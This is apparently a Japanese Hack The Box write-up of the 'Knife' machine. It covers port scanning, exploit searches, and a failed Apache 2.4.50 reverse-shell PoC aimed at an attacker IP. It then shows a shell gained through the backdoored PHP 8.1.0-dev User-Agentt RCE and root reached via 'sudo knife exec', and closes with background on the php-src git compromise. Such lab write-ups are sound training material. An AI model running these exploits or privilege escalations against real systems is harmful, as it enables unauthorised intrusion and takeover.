![見出し画像](https://assets.st-note.com/production/uploads/images/173722461/rectangle_large_type_2_4f5321ec830c58521f9e2cc1f9a77a1f.png?width=1200)
HTB Knife
マシン情報
・OS Linux
・難易度 2.9
・リリース日 2021/5/22
ポート探索
nmap ⇒ SSH / HTTP
$ sudo nmap -sCV -A -v -p- --min-rate 5000 10.10.10.242 -oN nmap_result.txt -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
searchsploit Apache ⇒ 失敗
たくさん出てくるのですが、RCEのPOCがありました。
バージョンも該当しております。
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution ( | multiple/webapps/50383.sh
Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution ( | multiple/webapps/50406.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) | multiple/webapps/50446.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3) | multiple/webapps/50512.py
Apache Httpd mod_proxy - Error Page Cross-Site Scripting | multiple/webapps/47688.md
Apache Httpd mod_rewrite - Open Redirects | multiple/webapps/47689.md
Apache JackRabbit - WebDAV XML External Entity | java/webapps/37110.py
Apache JackRabbit 1.4/1.5 Content Repository (JCR) - 'search.jsp?q' | jsp/webapps/32741.txt
CVEを確認するとmod_cgiが有効になっているとRCEが可能となっております。
Description
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
試しに実行してみましたが、だめでした。
└─$ ./50446.sh http://10.10.10.242 10.10.16.10 4444
PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.10.242 Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.10.242 Port 80</address>
</body></html>
ポート80 ⇒ RCE
Web画面を開く
画面上のメニューのようなものもクリックできず、画面はこの1ページのみのようです。
![](https://assets.st-note.com/img/1739019273-yLFb6xPocpHYWGgaeuw3MtOS.png?width=1200)
Wappalyzer ⇒ PHP 8.1 ⇒ POCあり?
使っている言語を見てみるとPHPです。
![](https://assets.st-note.com/img/1739019379-dAZSDfyxe49NUcpWqlgj17OE.png?width=1200)
searchsploitをしてみると、PHPだけでは脆弱性が多く、バージョンも入れてみると該当しそうなものがありました。
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py
PHP < 8.3.8 - Remote Code Execution (Unauthenticated) (Windows) | php/webapps/52047.py
PHP Project Management 0.8.10 - Multiple Local/Remote File Inclusion | php/webapps/4549.txt
PHP-Nuke 7.0/8.1/8.1.35 - Wormable Remote Code Execution | php/webapps/12510.php
PHP-Nuke 8.1 SEO Arabic - Remote File Inclusion | windows_x86/webapps/14628.txt
PHP-Nuke 8.1.0.3.5b (Your_Account Module) - Blind SQL Injection (Ben | php/webapps/14320.pl
PHP-Nuke 8.1.0.3.5b - 'Downloads' Blind SQL Injection | php/webapps/18148.pl
PHP-Nuke 8.1.0.3.5b - Remote Command Execution | php/webapps/14319.pl
侵入
POCを試す ⇒ 侵入成功
バージョンも正確にはわからなかったのですが、とりあえずPOCを試したところシェルを取れました。
$ python3 49933.py
Enter the full host url:
http://10.10.10.242/
Interactive shell is opened on http://10.10.10.242/
Can't acces tty; job crontol turned off.
$ id
uid=1000(james) gid=1000(james) groups=1000(james)
ちょっと寄り道ですが、①Webサイトの中はホントシンプルでした。
$ ls /var/www/html
index.php
②CGIは有効にはなってませんでした。
$ ls /etc/apache2/mods-enabled/
access_compat.load
actions.conf
actions.load
alias.conf
alias.load
auth_basic.load
authn_core.load
authn_file.load
authz_core.load
authz_host.load
authz_user.load
autoindex.conf
autoindex.load
deflate.conf
deflate.load
dir.conf
dir.load
env.load
filter.load
mime.conf
mime.load
mpm_event.conf
mpm_event.load
negotiation.conf
negotiation.load
proxy.conf
proxy.load
proxy_fcgi.load
proxy_http.load
reqtimeout.conf
reqtimeout.load
setenvif.conf
setenvif.load
status.conf
status.load
user.txt
$ cat /home/james/user.txt
Privilege Escalation
sudo -l ⇒ knife
$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
knifeを調べる ⇒ rubyを実行できる
knifeはChefというインフラ構成管理(IaC)で使われるコマンドラインツールのようで、サブコマンドとしてexecというのを指定するとrubyスクリプトを実行できるようです。
![](https://assets.st-note.com/img/1739021597-d8YSFV9rZ1QgMhLaO4vtwo3s.png?width=1200)
root.txt
sudo knife exec -E 'exec("/bin/bash -i")'
root@knife:/# cd root
cd root
root@knife:~# ls
ls
delete.sh root.txt snap
root@knife:~# cat root.txt
PHP 8.1.0-devの脆弱性について
概要
攻撃者が PHP の創設者(Rasmus Lerdorf)になりすまして、公式 Git サーバー(git.php.net)を改ざんし、悪意のあるコードをコミットした事件。具体的には、zend_eval_string を利用して任意のコードを実行できるバックドアが仕込まれていました。
CVEは発行されていません。
影響
このコードが含まれたバージョンを使用していた場合、リモートコード実行(RCE)のリスクがありました。
Github上の該当のコミット
![](https://assets.st-note.com/img/1739071532-j4I0Xghn6bvoAB1GKzSHW78F.png?width=1200)
![](https://assets.st-note.com/img/1739070526-pwbTtYWhuMXqFImEl72c8Nr0.png?width=1200)
このコミットについてPHP開発者の説明
PHP の共同メンテナである Nikita Popov 氏がこの問題について説明しています。
PHPの開発では当時git.php.netという独自のGit環境で開発をされており、
そのサーバが何者かにより攻撃を受けたと記載されています。(個々のアカウントがハッキングされた訳ではない)
また、(このコメント時点では)調査は進行中だが、独自のGit環境のメンテナンスを廃止してGitHubへ移行する決断をされています。
Hi everyone, Yesterday (2021-03-28) two malicious commits were pushed to the php-src repo [1] from the names of Rasmus Lerdorf and myself.
We don't yet know how exactly this happened, but everything points towards a compromise of the git.php.net server (rather than a compromise of an individual git account).
While investigation is still underway, we have decided that maintaining our own git infrastructure is an unnecessary security risk, and that we will discontinue the git.php.net server.
Instead, the repositories on GitHub, which were previously only mirrors, will become canonical.
This means that changes should be pushed directly to GitHub rather than to git.php.net.
While previously write access to repositories was handled through our home-grown karma system, you will now need to be part of the php organization on GitHub.
If you are not part of the organization yet, or don't have access to a repository you should have access to, contact me at nikic@php.net with your php.net and GitHub account names, as well as the permissions you're currently missing.
Membership in the organization requires 2FA to be enabled.
This change also means that it is now possible to merge pull requests directly from the GitHub web interface.
We're reviewing the repositories for any corruption beyond the two referenced commits.
Please contact security@php.net if you notice anything. Regards, Nikita